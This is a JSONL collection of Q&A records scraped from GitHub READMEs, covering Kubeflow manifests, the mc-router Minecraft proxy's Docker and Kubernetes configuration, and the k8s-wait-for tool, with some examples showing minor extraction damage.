{"id": "gh_112b97591441", "question": "How to: Pre-commit Hooks", "question_body": "About kubeflow/manifests", "answer": "This repository uses pre-commit hooks to ensure code quality and consistency. The following hooks are configured:\n\n1. **Black** - Python code formatter.\n2. **Yamllint** - YAML file linter.\n3. **Shellcheck** - Shell script static analysis.\n\nTo use these hooks:\n\n1. Install pre-commit:\n\n   ```bash\n   pip install pre-commit\n   ```\n\n2. Install the git hooks:\n\n   ```bash\n   pre-commit install\n   ```\n\nThe hooks will run automatically on `git commit`. You can also run them manually:\n\n```bash\npre-commit run\n```", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 981, "answer_score": 10, "has_code": true, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496599"}
{"id": "gh_d9706af49b71", "question": "How to: Frequently Asked Questions", "question_body": "About kubeflow/manifests", "answer": "- **Q:** What versions of Istio, Knative, Cert-Manager, Argo, ... are compatible with Kubeflow?\n  **A:** Please refer to each individual component's documentation for a dependency compatibility range. For Istio, Knative, Dex, Cert-Manager, and OAuth2 Proxy, the versions in `common` are the ones we have validated.\n- **Q:** Can I use Kubeflow in an air-gapped environment?\n  **A:** Yes you can. You just need to to get the list of images from our [trivy CVE scanning script](https://github.com/kubeflow/manifests/blob/master/tests/trivy_scan.py), mirror them and replace the references in the manifests with kustomize components and overlays, see [Upgrading and Extending](#upgrading-and-extending). You could also use a simple kyverno policy to replace the images at runtime, which could be easier to maintain.\n- **Q:** Why does Kubeflow use Istio CNI instead of standard Istio?\n  **A:** Istio CNI provides better security by eliminating the need for privileged init containers, making it more compatible with Pod Security Standards (PSS). It also enables native sidecars support introduced in Kubernetes 1.28, which helps address issues with init containers and application lifecycle management.\n- **Q:** Why does Istio CNI fail on Google Kubernetes Engine (GKE) with \"read-only file system\" errors?\n  **A:** GKE mounts `/opt/cni/bin` as read-only for security reasons. Use the GKE-specific overlay: `kubectl apply -k common/istio/istio-install/overlays/gke` (or `overlays/ambient-gke` for ambient mode). These overlays use GKE's writable CNI directory at `/home/kubernetes/bin`. For details, see [Istio CNI Prerequisites](https://istio.io/latest/docs/setup/additional-setup/cni/#prerequisites).", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 981, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496610"}
{"id": "gh_dbc07beddc1f", "question": "How to: Create Topic", "question_body": "About confluentinc/cp-helm-charts", "answer": "kafka-topics --zookeeper $ZOOKEEPERS --create --topic test-rep-one --partitions 6 --replication-factor 1", "tags": ["confluentinc"], "source": "github_gists", "category": "confluentinc", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 797, "answer_score": 10, "has_code": false, "url": "https://github.com/confluentinc/cp-helm-charts", "collected_at": "2026-01-17T12:58:23.882251"}
{"id": "gh_0eee8d7b4c5e", "question": "How to: Docker Multi-Architecture Image", "question_body": "About itzg/mc-router", "answer": "The [multi-architecture image published at Docker Hub](https://hub.docker.com/repository/docker/itzg/mc-router) supports amd64, arm64, and arm32v6 (i.e. RaspberryPi).", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 789, "answer_score": 10, "has_code": false, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160513"}
{"id": "gh_733760803b04", "question": "How to: Docker Compose Usage", "question_body": "About itzg/mc-router", "answer": "The diagram below shows how this `docker-compose.yml` configures two Minecraft server services named `vanilla` and `forge`, which also become the internal network aliases. _Notice those services don't need their ports exposed since the internal networking allows for the inter-container access._\n\n```yaml\nservices:\n  vanilla:\n    image: itzg/minecraft-server\n    environment:\n      EULA: \"TRUE\"\n  forge:\n    image: itzg/minecraft-server\n    environment:\n      EULA: \"TRUE\"\n      TYPE: FORGE\n  router:\n    image: ${MC_ROUTER_IMAGE:-itzg/mc-router}\n    depends_on:\n      - forge\n      - vanilla\n    environment:\n      MAPPING: |\n        vanilla.example.com=vanilla:25565\n        forge.example.com=forge:25565\n    ports:\n      - \"25565:25565\"\n```\n\nThe `router` service is only one of the services that needs to exposed on the external network. The `MAPPING` declares how the hostname users will enter into their Minecraft client will map to the internal services.\n\n![](docs/compose-diagram.png)\n\nTo test out this example, add these two entries to my \"hosts\" file:\n\n```\n127.0.0.1 vanilla.example.com\n127.0.0.1 forge.example.com\n```", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 789, "answer_score": 10, "has_code": true, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160528"}
{"id": "gh_95ebe8a587fd", "question": "How to: Using Docker auto-discovery", "question_body": "About itzg/mc-router", "answer": "When running `mc-router` in a Docker environment you can pass the `--in-docker` or `--in-docker-swarm` command-line argument or set the environment variables `IN_DOCKER` or `IN_DOCKER_SWARM` to \"true\". With that, it will poll the Docker API periodically to find all the running containers/services for Minecraft instances. To enable discovery, you have to set the `mc-router.host` label on the container. \n\nWhen using in Docker, make sure to volume mount the Docker socket into the container, such as\n\n```yaml\n    volumes:\n      - /var/run/docker.sock:/var/run/docker.sock:ro\n```\n\nThese are the labels scanned:\n\n- `mc-router.host`: Used to configure the hostname the Minecraft clients would use to connect to the server. The container/service endpoint will be used as the routed backend. You can use more than one hostname by splitting it with a comma or newline. Whitespace around commas is automatically trimmed. For example: `\"host1.com,host2.com\"`, `\"host1.com, host2.com\"`, or `\"host1.com\\nhost2.com\"`.\n- `mc-router.port`: This value must be set to the port the Minecraft server is listening on. The default value is 25565.\n- `mc-router.default`: Set this to a truthy value to make this server the default backend. Please note that `mc-router.host` is still required to be set.\n- `mc-router.network`: Specify the network you are using for the router if multiple are present in the container/service. You can either use the network ID, it's full name or an alias.\n- `mc-router.auto-scale-up`: Per-container override to enable/disable auto scale up for Docker. When true (or left unspecified and the global `-auto-scale-up` flag is enabled), mc-router will start or unpause this container when a client connects to the declared hostname(s).\n- `mc-router.auto-scale-down`: Per-container override to enable/disable auto scale down for Docker. When true (or left unspecified and the global `-auto-scale-down` flag is enabled), mc-router will stop this container after it has been idle for the configured `-auto-scale-down-after` duration.\n- `mc-router.auto-scale-asleep-motd`: Per-container override for MOTD to show when container is scaled to zero. If empty or not set the host will\nappear unresponsive.\n\n#### Docker Auto Scale Up/Down\n\nTo use scale-to-zero with Docker containers:\n\n- Start mc-router with Docker discovery and scaling enabled, for example:\n\n  ```bash\n  docker run --rm \\\n    -p 25565:25565 \\\n    -v /var/run/docker.sock:/var/run/docker.sock:ro \\\n    itzg/mc-router \\\n    -in-docker -auto-scale-up -auto-scale-down -auto-scale-down-after=10m\n  ```\n\n- Label each Minecraft container with at least `mc-router.host`. You can also set per-container autoscale overrides using `mc-router.auto-scale-up` and `mc-router.auto-scale-down` labels.\n\nFor usage with docker compose refer to the [examples/docker-autoscale/compose.yml](examples/docker-autoscale/compose.yml) or [examples/docker-autoscale/compose-minimal.yml](examples/docker-autoscale/compose-minimal.yml) examples.\n\nBehavior:\n\n- When a client connects to a labeled hostname and the container is stopped or paused, mc-router will start/unpause it and wait until it becomes reachable (up to ~60s).\n- When no clients remain connected and the idle timer elapses (`-auto-scale-down-after`), mc-router gracefully stops the container.\n\nNote: Docker Swarm discovery is supported; however, auto scale up/down is not yet supported for Swarm services.\n\n#### Example Docker deployment\n\nRefer to [this example docker-compose.yml](docs/sd-docker.docker-compose.yml) to see how to\nconfigure two different Minecraft servers and a `mc-router` instance for use with Docker service discovery.\n\n#### Example Docker Swarm deployment\n\nRefer to [this example docker-compose.yml](docs/swarm.docker-compose.yml) to see how to\nconfigure two different Minecraft servers and a `mc-router` instance for use with Docker Swarm service discovery.", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 789, "answer_score": 10, "has_code": true, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160539"}
{"id": "gh_961e7adaa7ac", "question": "How to: Routing Configuration", "question_body": "About itzg/mc-router", "answer": "The routing configuration allows routing via a config file rather than a command. \nYou need to set `-routes-config` or `ROUTES_CONFIG` env variable.\nThe following shows a JSON file for routes config, where `default-server` can also be `null` or omitted:\n\n```json\n{\n  \"default-server\": \"vanilla:25565\",\n  \"mappings\": {\n    \"vanilla.example.com\": \"vanilla:25565\",\n    \"forge.example.com\": \"forge:25565\"\n  }\n}\n```\n\nSending a SIGHUP signal will cause mc-router to reload the routes config from disk. The file can also be watched for changes by setting `-routes-config-watch` or the env variable `ROUTES_CONFIG_WATCH` to \"true\".", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 789, "answer_score": 10, "has_code": true, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160546"}
{"id": "gh_3486d8bfa5ee", "question": "How to: Auto Scale Allow/Deny List", "question_body": "About itzg/mc-router", "answer": "The allow/deny list configuration allows limiting which players can scale up servers when using the `-auto-scale-up` option (`AUTO_SCALE_UP` env variable) and which players can cancel an active down scaler when using the `-auto-scale-down` option (`AUTO_SCALE_DOWN` env variable). Global allow/deny lists can be configured that apply to all backend servers, but server-specific lists can be added as well. There are a few important things to note about the configuration:\n- The `mc-router` process will not automatically pick up changes to the config. If updates to the config are made, the router must be restarted.\n- Allowlists always take priority over denylists. This means if a player is included in a sever-specific allowlist and the global denylist, the player will still be considered allowed on that server. If a player is listed in both a global allowlist and denylist, the denylist entry will be ignored.\n- Player entries only require a `uuid` or `name`. Both will be checked if specified, but otherwise a `uuid` will take priority over a `name`.\n\nAn example configuration might look something like:\n\n```json\n{\n  \"global\": {\n    \"denylist\": [\n      {\"uuid\": \"\n\", \"name\": \"\n\"}\n    ]\n  },\n  \"servers\": {\n    \"my.server.domain\": {\n      \"allowlist\": [\n        {\"uuid\": \"\n\"}\n      ]\n    },\n    \"my.other-server.domain\": {\n      \"denylist\": [\n        {\"uuid\": \"\n\"}\n      ]\n    }\n  }\n}\n```\n\nIn the example, players in the `my.server.domain` allowlist will be able to scale up `my.server.domain`. Players in the global denylist and the `my.other-server.domain` denylist will **not** be able to scale up `my.other-server.domain`. Any servers not listed in the config will also be affected by the global allowlist. Note that if a global allowlist is specified, no denylists will have any effect as that global allowlist will affect all servers.\n\nFor more information on the allow/deny list configuration, see the [json schema](docs/allow-deny-list.schema.json).", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 789, "answer_score": 10, "has_code": true, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160554"}
{"id": "gh_f059f98bb130", "question": "How to: Using Kubernetes Service auto-discovery", "question_body": "About itzg/mc-router", "answer": "When running `mc-router` as a Kubernetes Pod and you pass the `--in-kube-cluster` command-line argument, then it will automatically watch for any services annotated with\n- `mc-router.itzg.me/externalServerName` : The value of the annotation will be registered as the external hostname Minecraft clients would used to connect to the routed service. The service is used as the routed backend. You can use more hostnames by splitting them with comma or newline. Whitespace around commas is automatically trimmed. For example: `\"host1.com,host2.com\"`, `\"host1.com, host2.com\"`, or multi-line values.\n- `mc-router.itzg.me/defaultServer` : When set to \"true\", the service is used as the default if no other `externalServiceName` annotations applies.\n\nBy default, the router will watch all namespaces for those services; however, a specific namespace can be specified using the `KUBE_NAMESPACE` environment variable. The pod's own namespace could be set using:\n\n```yaml\n     - name: KUBE_NAMESPACE\n       valueFrom:\n         fieldRef:\n           fieldPath: metadata.namespace\n```\n\nFor example, start `mc-router`'s container spec with\n\n```yaml\nimage: itzg/mc-router\nname: mc-router\nargs: [\"--in-kube-cluster\"]\n```\n\nand configure the backend minecraft server's service with the annotation:\n\n```yaml\napiVersion: v1\nkind: Service\nmetadata:\n  name: mc-forge\n  annotations:\n    \"mc-router.itzg.me/externalServerName\": \"external.host.name\"\n```\n\nyou can use multiple host names:\n\n```yaml\napiVersion: v1\nkind: Service\nmetadata:\n  name: mc-forge\n  annotations:\n    \"mc-router.itzg.me/externalServerName\": \"external.host.name,other.host.name\"\n```\nor with newlines and optional whitespace:\n\n```yaml\napiVersion: v1\nkind: Service\nmetadata:\n  name: mc-forge\n  annotations:\n    \"mc-router.itzg.me/externalServerName\": |\n      external.host.name\n      other.host.name\n```\n\nThe `Role` or `ClusterRole` bound to the service account should have the rules:\n\n```yaml\nrules:\n  - apiGroups: [\"\"]\n    resources: [\"services\"]\n    verbs: [\"watch\",\"list\"]\n```\n\nand if using StatefulSet auto-scaling additionally\n\n```yaml\n  - apiGroups: [\"apps\"]\n    resources: [\"statefulsets\"]\n    verbs: [\"watch\",\"list\",\"get\",\"update\"]\n  - apiGroups: [\"apps\"]\n    resources: [\"statefulsets/scale\"]\n    verbs: [\"get\",\"update\"]\n```", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 789, "answer_score": 10, "has_code": true, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160564"}
{"id": "gh_695b8446015d", "question": "How to: Service parsing", "question_body": "About itzg/mc-router", "answer": "To detrmine the endpoint mc-router will pick the host from `spec.clusterIP` by default, if the service is of type `ExtenalName` it will use `spec.externalName` instead.\n\nFor the port it will look in `spec.ports` for a port named `mc-router`, if not present `minecraft` or, if neither port names exist, it will use default minecraft port value 25565.", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 789, "answer_score": 10, "has_code": false, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160570"}
{"id": "gh_5957e2e86f14", "question": "How to: Example Kubernetes deployment", "question_body": "About itzg/mc-router", "answer": "[This example deployment](docs/k8s-example-auto.yaml)\n* Declares an `mc-router` service that exposes a node port 25565\n* Declares a service account with access to watch and list services\n* Declares `--in-kube-cluster` in the `mc-router` container arguments\n* Two \"backend\" Minecraft servers are declared each with an\n  `\"mc-router.itzg.me/externalServerName\"` annotation that declares their external server name(s)\n\n```bash\nkubectl apply -f https://raw.githubusercontent.com/itzg/mc-router/main/docs/k8s-example-auto.yaml\n```\n\n![](docs/example-deployment-auto.drawio.png)\n\n##### Notes\n* This deployment assumes two persistent volume claims: `mc-stable` and `mc-snapshot`\n* I extended the allowed node port range by adding `--service-node-port-range=25000-32767`\n  to `/etc/kubernetes/manifests/kube-apiserver.yaml`\n\n##### Auto Scale Up/Down\n\nThe `-auto-scale-up` flag argument makes the router \"wake up\" any stopped backend servers by changing `replicas: 0` to `replicas: 1`. The `-auto-scale-down` flag argument makes the router shut down any running backend servers with no active connections by changing `replicas: 1` to `replicas: 0`. The scale down will occur after a configurable (using the `-auto-scale-down-after` argument) waiting period, such as `10m` (10 minutes), `2h` (2 hours), etc. If any players connect to the server during this period the scale down will be canceled. It is recommended to set this value high enough so a temporary player disconnect will not immediately shut down the server (`1m` or higher).\n\nBoth options require using `kind: StatefulSet` instead of `kind: Service` for the Minecraft backend servers.\n\nThey also require the `ClusterRole` to permit `get` + `update` for `statefulsets` & `statefulsets/scale`,\ne.g. like this (or some equivalent more fine-grained one to only watch/list services+statefulsets, and only get+update scale):\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: services-watcher\nrules:\n- apiGroups: [\"\"]\n  resources: [\"services\"]\n  verbs: [\"watch\",\"list\"]\n- apiGroups: [\"apps\"]\n  resources: [\"statefulsets\", \"statefulsets/scale\"]\n  verbs: [\"watch\",\"list\",\"get\",\"update\"]\n```\n\nMake sure to set `StatefulSet.metadata.name` and `StatefulSet.spec.serviceName` to the same value;\notherwise, autoscaling will not trigger:\n\n```yaml\napiVersion: v1\nkind: Service\nmetadata:\n  name: mc-forge\n  annotations:\n    \"mc-router.itzg.me/defaultServer\": \"true\"\n    \"mc-router.itzg.me/externalServerName\": \"external.host.name\"\nspec:\n  type: ClusterIP\n---\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: mc-forge\nspec:\n  serviceName: mc-forge\n  selector:\n    matchLabels:\n      app: mc-forge\n  template:\n    metadata:\n      labels:\n        app: mc-forge\n    spec:\n      containers:\n        - name: mc\n```\n\nYou can also opt-out of auto-scaling per server by setting the following annotations on the `Service` object:\n- `mc-router.itzg.me/autoScaleUp=false`\n- `mc-router.itzg.me/autoScaleDown=false`\n\nExample server with auto-scaling disabled explicitly:\n```yaml\napiVersion: v1\nkind: Service\nmetadata:\n  name: mc-forge\n  annotations:\n    \"mc-router.itzg.me/externalServerName\": \"external.host.name\"\n    \"mc-router.itzg.me/autoScaleUp\": \"false\"\n    \"mc-router.itzg.me/autoScaleDown\": \"false\"\n```", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 789, "answer_score": 10, "has_code": true, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160581"}
{"id": "gh_0a160c315fa9", "question": "How to: Troubleshooting", "question_body": "About itzg/mc-router", "answer": "First and foremost, enable debug logs on mc-router by setting the `DEBUG` environment variable to \"true\". With that, the logs will be fairly verbose with information about incoming connections, handshake processing, backend service discovery, and backend connection establishment and teardown.\n\nIf backend service discovery doesn't seem to be happening, then double-check the service annotations, [described above](#using-kubernetes-service-auto-discovery), are applied to the backend `Service` objects and that those are selecting a Minecraft service deployment each.\n\nIf the client reports \"Connection refused\" check:\n\n- `Service` type is configured as `NodePort` (or `LoadBalancer` if applicable)\n- Use `kubectl describe service mc-router` for the next few steps\n  - If running on a home network, ensure the public internet router is port forwarding TCP 25565 to one of the kubernetes nodes and the reported `NodePort` value, usually in the 30000-32767 range.\n  - Ensure the `Endpoints` field contains at least one entry referencing the cluster IP address of the mc-router `Pod`. If not, check that the `Selector` matches the labels on the mc-router `Pod`.", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 789, "answer_score": 10, "has_code": false, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160589"}
{"id": "gh_843bbb973659", "question": "How to: Ngrok Quick Start", "question_body": "About itzg/mc-router", "answer": "Create/access an ngrok account and [allocate an agent authtoken from the dashboard](https://dashboard.ngrok.com/tunnels/authtokens).\n\nIn a new directory, create a file called `.env` with the allocated token\n\n```dotenv\nNGROK_TOKEN=...\n```\n\nIn the same directory, create the following compose file:\n\n```yaml\nversion: \"3.8\"\n\nservices:\n  mc:\n    image: itzg/minecraft-server\n    environment:\n      EULA: true\n    volumes:\n      - mc-data:/data\n    # No port mapping since mc-router connects over compose network\n  router:\n    image: itzg/mc-router\n    environment:\n      DEFAULT: mc:25565\n      NGROK_TOKEN: ${NGROK_TOKEN}\n    # No port mapping needed since it routes through ngrok tunnel\n\nvolumes:\n  mc-data: {}\n```\n\nStart the compose project:\n\n```shell\ndocker compose up -d\n```\n\nGrab the mc-router logs using:\n\n```shell\ndocker compose logs router\n```\n\nFrom those logs, locate the `ngrokUrl` parameter from the \"Listening\" info log message, such as `tcp://8.tcp.ngrok.io:99999`.\n\nIn the Minecraft client, the server address will be the part after the \"tcp://\" prefix, such as `8.tcp.ngrok.io:99999`.", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 789, "answer_score": 10, "has_code": true, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160598"}
{"id": "gh_52196c08422d", "question": "How to: Webhook Support", "question_body": "About itzg/mc-router", "answer": "Refer to [the usage section above](#usage) for `-webhook-*` argument descriptions.", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 789, "answer_score": 10, "has_code": false, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160602"}
{"id": "gh_4aef6c224d5c", "question": "How to: Sample connect event payloads", "question_body": "About itzg/mc-router", "answer": "The following are sample payloads for the `connect` webhook events.\n\n#### Successful player backend connection\n\n```json\n{\n  \"event\": \"connect\",\n  \"timestamp\": \"2025-04-20T22:26:30.2568775-05:00\",\n  \"status\": \"success\",\n  \"client\": {\n    \"host\": \"127.0.0.1\",\n    \"port\": 56860\n  },\n  \"server\": \"localhost\",\n  \"player\": {\n    \"name\": \"itzg\",\n    \"uuid\": \"5cddfd26-fc86-4981-b52e-c42bb10bfdef\"\n  },\n  \"backend\": \"localhost:25566\"\n}\n```\n\n**NOTE** `client` refers to the machine where the Minecraft client is connecting from and is conveyed separately from the `player` starting a session. As seen below, the player information may not always be present, such as when the client is pinging the server list.\n\n#### Successful server ping backend connection\n\n**NOTE** the absence of `player` in this payload since the Minecraft client does not send player information in the server ping request.\n\n```json\n{\n  \"event\": \"connect\",\n  \"timestamp\": \"2025-04-20T22:26:30.2568775-05:00\",\n  \"status\": \"success\",\n  \"client\": {\n    \"host\": \"127.0.0.1\",\n    \"port\": 56396\n  },\n  \"server\": \"localhost\",\n  \"backend\": \"localhost:25566\"\n}\n```\n\n#### Missing backend\n\nIn this the status is `\"missing-backend\"` since the requested server `invalid.example.com` does not have a configured/discovered backend entry.\n\n```json\n{\n  \"event\": \"connect\",\n  \"timestamp\": \"2025-04-20T22:26:30.2568775-05:00\",\n  \"status\": \"missing-backend\",\n  \"client\": {\n    \"host\": \"127.0.0.1\",\n    \"port\": 56891\n  },\n  \"server\": \"invalid.example.com\",\n  \"player\": {\n    \"name\": \"itzg\",\n    \"uuid\": \"5cddfd26-fc86-4981-b52e-c42bb10bfdef\"\n  },\n  \"error\": \"No backend found\"\n}\n```\n\n#### Failed backend connection\n\nIn this case the `status` is `\"failed-backend-connection\"` indicating that a backend server was located but a connection could not be established from mc-router.\n\n```json\n{\n  \"event\": \"connect\",\n  \"timestamp\": \"2025-04-20T22:26:30.2568775-05:00\",\n  \"status\": \"failed-backend-connection\",\n  \"client\": {\n    \"host\": \"127.0.0.1\",\n    \"port\": 56905\n  },\n  \"server\": \"localhost\",\n  \"player\": {\n    \"name\": \"itzg\",\n    \"uuid\": \"5cddfd26-fc86-4981-b52e-c42bb10bfdef\"\n  },\n  \"backend\": \"localhost:25566\",\n  \"error\": \"dial tcp [::1]:25566: connectex: No connection could be made because the target machine actively refused it.\"\n}\n```", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 789, "answer_score": 10, "has_code": true, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160612"}
{"id": "gh_fa350e1734a2", "question": "How to: Community Solutions", "question_body": "About itzg/mc-router", "answer": "- **[MC Router Discovery](https://github.com/Seedloaf/mc-router-discovery):** A lightweight sidecar to ensure mc-router is in sync with your list of running servers.\n- **[svc-router](https://github.com/JLSchuler99/svc-router):** A sidecar router that uses mc-router webhooks to route traffic for the Simple Voice Chat mod to the correct backend server.", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 789, "answer_score": 10, "has_code": false, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160617"}
{"id": "gh_e2c0b5e686e3", "question": "How to: Build locally without Docker", "question_body": "About itzg/mc-router", "answer": "After [installing Go](https://go.dev/doc/install) and doing a `go mod download` to install all required prerequisites, just like the [Dockerfile](Dockerfile) does, you can:\n\n```bash\nmake test # go test -v ./...\ngo build ./cmd/mc-router/\n```", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 789, "answer_score": 10, "has_code": true, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160623"}
{"id": "gh_ad0b7d7e4457", "question": "How to: Performing snapshot release with Docker", "question_body": "About itzg/mc-router", "answer": "```bash\ndocker run -it --rm \\\n  -v ${PWD}:/build -w /build \\\n  -v /var/run/docker.sock:/var/run/docker.sock \\\n  goreleaser/goreleaser \\\n  release --snapshot --rm-dist\n```", "tags": ["itzg"], "source": "github_gists", "category": "itzg", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 789, "answer_score": 10, "has_code": true, "url": "https://github.com/itzg/mc-router", "collected_at": "2026-01-17T12:58:25.160628"}
{"id": "gh_38cabbec5657", "question": "How to: k8s-wait-for", "question_body": "About groundnuty/k8s-wait-for", "answer": "> This tool is still actively used and working stably despite not too frequent commits! Pull requests are most welcome!\n\n> Important: For kubernetes versions <=1.23, use k8s-wait-for version 2.1 or higher or k8s-wait-for versions 1.*. See [here](https://github.com/groundnuty/k8s-wait-for/issues/60#issuecomment-1313483011).\n\nA simple script that allows waiting for a k8s service, job or pods to enter the desired state.", "tags": ["groundnuty"], "source": "github_gists", "category": "groundnuty", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 634, "answer_score": 10, "has_code": false, "url": "https://github.com/groundnuty/k8s-wait-for", "collected_at": "2026-01-17T12:58:29.730848"}
{"id": "gh_e0a1ca10ebe0", "question": "How to: Complex deployment use case", "question_body": "About groundnuty/k8s-wait-for", "answer": "This container is used extensively in deployments of Onedata system [onedata/charts](https://github.com/onedata/charts) to specify dependencies. It leverages Kubernetes [init containers](https://kubernetes.io/docs/concepts/workloads/pods/init-containers/), thus providing:\n\n    - a detailed event log in `kubectl describe\n`, on what init container is pod hanging at the moment.\n    - a comprehensive view in `kubectl get pods` output where init containers are shown in a form `Init:\n/\n`\n\nExample output from the deployment run of ~16 pod with dependencies just after deployment:\n\n```bash\nNAME                                                   READY     STATUS              RESTARTS   AGE\ndevelop-cross-support-job-3p-krk-3-lis-c-b4nv1         0/1       Init:0/1            0          11s\ndevelop-cross-support-job-3p-krk-3-par-c-lis-n-z7x6w   0/1       Init:0/1            0          11s\ndevelop-cross-support-job-3p-krk-3-x9719               0/1       Init:0/1            0          11s\ndevelop-cross-support-job-3p-krk-g-par-3-ztvz0         0/1       Init:0/1            0          11s\ndevelop-cross-support-job-3p-krk-g-v5lf2               0/1       Init:0/1            0          11s\ndevelop-cross-support-job-3p-krk-n-par-3-pnbcm         0/1       Init:0/1            0          11s\ndevelop-cross-support-job-3p-lis-3-cpj3f               0/1       Init:0/1            0          11s\ndevelop-cross-support-job-3p-par-n-8zdt2               0/1       Init:0/1            0          11s\ndevelop-cross-support-job-3p-par-n-lis-c-kqdf0         0/1       Init:0/1            0          11s\ndevelop-oneclient-krakow-2773392814-wc1dv              0/1       Init:0/3            0          11s\ndevelop-oneclient-lisbon-3267879054-2v6cg              0/1       Init:0/3            0          9s\ndevelop-oneclient-paris-2076479302-f6hh9               0/1       Init:0/3            0          9s\ndevelop-onedata-cli-krakow-1801798075-b5wpj            0/1       Init:0/1            0          11s\ndevelop-onedata-cli-lisbon-139116355-fwtjv             0/1       Init:0/1            0          10s\ndevelop-onedata-cli-paris-2662312307-9z9l1             0/1       Init:0/1            0          11s\ndevelop-oneprovider-krakow-3634465102-tftc6            0/1       Pending             0          10s\ndevelop-oneprovider-lisbon-3034775369-8n31x            0/1       Init:0/3            0          8s\ndevelop-oneprovider-paris-3034358951-19mhf             0/1       Init:0/3            0          10s\ndevelop-onezone-304145816-dmxn1                        0/1       ContainerCreating   0          11s\ndevelop-volume-ceph-krakow-479580114-mkd1d             0/1       ContainerCreating   0          11s\ndevelop-volume-ceph-lisbon-1249181958-1f0mt            0/1       ContainerCreating   0          9s\ndevelop-volume-ceph-paris-400443052-dc347              0/1       ContainerCreating   0          9s\ndevelop-volume-gluster-krakow-761992225-sj06m          0/1       Running             0          11s\ndevelop-volume-gluster-lisbon-3947152141-jlmvb         0/1       Running             0          8s\ndevelop-volume-gluster-paris-3588749681-9bnw8          0/1       ContainerCreating   0          11s\ndevelop-volume-nfs-krakow-2528947555-6mxzt             1/1       Running             0          10s\ndevelop-volume-nfs-lisbon-3473018547-7nljf             0/1       ContainerCreating   0          11s\ndevelop-volume-nfs-paris-2956540513-4bdzt              0/1       ContainerCreating   0          11s\ndevelop-volume-s3-krakow-23786741-pdxtj                0/1       Running             0          9s\ndevelop-volume-s3-krakow-init-gqmmp                    0/1       Init:0/1            0          11s\ndevelop-volume-s3-lisbon-3912793669-d4xh5              0/1       Running             0          10s\ndevelop-volume-s3-lisbon-init-mq9nk                    0/1       Init:0/1            0          11s\ndevelop-volume-s3-paris-124394749-qwt18                0/1       Running             0          8s\ndevelop-volume-s3-paris-init-jb4k3                     0/1       Init:0/1            0          11s\n```\n\n1 min after, you can see the changes in the *Status* column:\n\n```bash\ndevelop-cross-support-job-3p-krk-3-lis-c-b4nv1         0/1       Init:0/1          0          1m\ndevelop-cross-support-job-3p-krk-3-par-c-lis-n-z7x6w   0/1       Init:0/1          0          1m\ndevelop-cross-support-job-3p-krk-3-x9719               0/1       Init:0/1          0          1m\ndevelop-cross-support-job-3p-krk-g-par-3-ztvz0         0/1       Init:0/1          0          1m\ndevelop-cross-support-job-3p-krk-g-v5lf2               0/1       Init:0/1          0          1m\ndevelop-cross-support-job-3p-krk-n-par-3-pnbcm         0/1       Init:0/1          0          1m\ndevelop-cross-support-job-3p-lis-3-cpj3f               0/1       Init:0/1          0          1m\ndevelop-cross-support-job-3p-par-n-8zdt2               0/1       Init:0/1          0          1m\ndevelop-cross-support-job-3p-par-n-lis-c-kqdf0", "tags": ["groundnuty"], "source": "github_gists", "category": "groundnuty", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 634, "answer_score": 10, "has_code": true, "url": "https://github.com/groundnuty/k8s-wait-for", "collected_at": "2026-01-17T12:58:29.730883"}
